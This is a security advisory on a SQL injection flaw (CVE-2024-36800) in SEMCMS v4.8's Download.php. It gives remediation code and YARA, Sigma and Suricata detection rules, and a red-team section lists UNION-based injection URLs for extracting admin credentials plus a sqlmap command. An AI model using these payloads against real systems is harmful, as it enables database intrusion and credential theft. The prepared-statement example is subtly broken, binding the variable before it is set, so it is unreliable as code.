CVE-2024-36800

Executive Summary

CVE-2024-36800 is a SQL injection vulnerability identified in SEMCMS v4.8, a content management system. The flaw resides in the Download.php script, where the ID parameter is not properly sanitized before being used in a SQL query. This allows a remote, unauthenticated attacker to inject arbitrary SQL commands, potentially leading to the extraction of sensitive information from the database, including user credentials, session data, and other confidential records. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the nature of the flaw, the actual severity is high. No official patch has been released by the vendor, and no public exploit code or Nuclei template is available at this time.

CVSS Breakdown & Threat Level

While the NVD reports a CVSS score of 0.0, this is likely a placeholder. Based on the vulnerability description and common SQL injection scoring, the following vector is estimated:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

The threat level is High due to the ease of exploitation (no authentication required) and the potential for significant data breach.

Deep Dive & Mechanics

The vulnerability exists in the Download.php file of SEMCMS v4.8. The ID parameter, which is likely passed via GET or POST request, is directly concatenated into a SQL query without proper sanitization or parameterization. This allows an attacker to break out of the intended SQL syntax and execute arbitrary commands.

Vulnerable Code Snippet (Hypothetical):

$id = $_GET['ID'];
$query = "SELECT * FROM downloads WHERE id = $id";
$result = mysqli_query($conn, $query);

The attacker can manipulate the ID parameter to inject SQL. For example:

http://target.com/Download.php?ID=1 UNION SELECT username,password FROM users

This would return the usernames and passwords from the users table in the application's response.

Vulnerable vs. Patched Code

Vulnerable Code (SEMCMS v4.8):

$id = $_GET['ID'];
$query = "SELECT * FROM downloads WHERE id = $id";
$result = mysqli_query($conn, $query);

Patched Code (Recommended):

$id = intval($_GET['ID']);
$query = "SELECT * FROM downloads WHERE id = $id";
$result = mysqli_query($conn, $query);

Or, using prepared statements:

$stmt = $conn->prepare("SELECT * FROM downloads WHERE id = ?");
$stmt->bind_param("i", $id);
$id = $_GET['ID'];
$stmt->execute();
$result = $stmt->get_result();

The patched code ensures that the ID parameter is treated as an integer, preventing SQL injection. Prepared statements are the most robust solution.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install SEMCMS v4.8 on a local web server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://localhost/semcms/.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://localhost/semcms/Download.php.
2. Test for SQL injection by sending a request with a single quote:

   http://localhost/semcms/Download.php?ID=1'
   

   If an error is returned, the application is vulnerable.
3. Use a UNION-based injection to extract data:

   http://localhost/semcms/Download.php?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

   Adjust the number of columns to match the original query.
4. Extract sensitive data, such as admin credentials:

   http://localhost/semcms/Download.php?ID=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM admin_users--
   

Automated Exploitation (sqlmap):

sqlmap -u "http://localhost/semcms/Download.php?ID=1" --batch --dbs

Blue Team

Detection Steps:

1. Monitor web server logs for unusual SQL-like patterns in the ID parameter.
2. Look for requests containing UNION, SELECT, OR 1=1, or other SQL injection keywords.
3. Implement a Web Application Firewall (WAF) rule to block requests with suspicious SQL patterns.
4. Use database activity monitoring to detect anomalous queries.

Log Analysis Example:

192.168.1.100 - - [12/May/2024:10:15:30 +0000] "GET /semcms/Download.php?ID=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10-- HTTP/1.1" 200 1234

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to Download.php with the ID parameter containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
  • Unusual response sizes or database error messages in HTTP responses.

• File IOCs:

  • Modified Download.php file (if attacker uploads a webshell).
  • Presence of sqlmap or other SQL injection tool logs on the server.

• Database IOCs:

  • Unauthorized queries to system tables (e.g., information_schema).
  • New user accounts or modified privileges.

Detection Engineering

YARA Rule

rule CVE_2024_36800_SQLi_SEMCMS {
    meta:
        description = "Detects SQL injection attempts targeting SEMCMS Download.php"
        author = "Valters IT"
        date = "2024-05-12"
        reference = "CVE-2024-36800"
    strings:
        $suspicious_param = /[?&]ID=.*(?:UNION|SELECT|OR|AND|--|#|%27|%22)/ nocase
        $vulnerable_script = "Download.php" nocase
    condition:
        $vulnerable_script and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt Against SEMCMS Download.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the ID parameter in SEMCMS Download.php
author: Valters IT
date: 2024/05/12
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'Download.php?ID='
        cs-uri-query|re: 
            - '(UNION|SELECT|OR|AND|--|#|%27|%22)'
    condition: selection
falsepositives:
    - Legitimate use of the word "SELECT" in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36800 SQL Injection Attempt - SEMCMS Download.php"; flow:to_server,established; content:"Download.php"; http_uri; pcre:"/(UNION|SELECT|OR|AND|--|#|%27|%22)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If Download.php is not critical, remove or rename it.
2. Apply input validation: Sanitize the ID parameter by casting it to an integer or using prepared statements.
3. Upgrade SEMCMS: Check for any unofficial patches or consider migrating to a more secure CMS.

Long-term Measures:

1. Implement a WAF: Use ModSecurity or cloud-based WAF to block SQL injection attempts.
2. Regular security audits: Perform code reviews and penetration testing.
3. Database hardening: Use least-privilege accounts and enable query logging.

Patch Code (if customizing):

// In Download.php
$id = intval($_GET['ID']);
$query = "SELECT * FROM downloads WHERE id = $id";
$result = mysqli_query($conn, $query);

Valters IT
Securing Digital Frontiers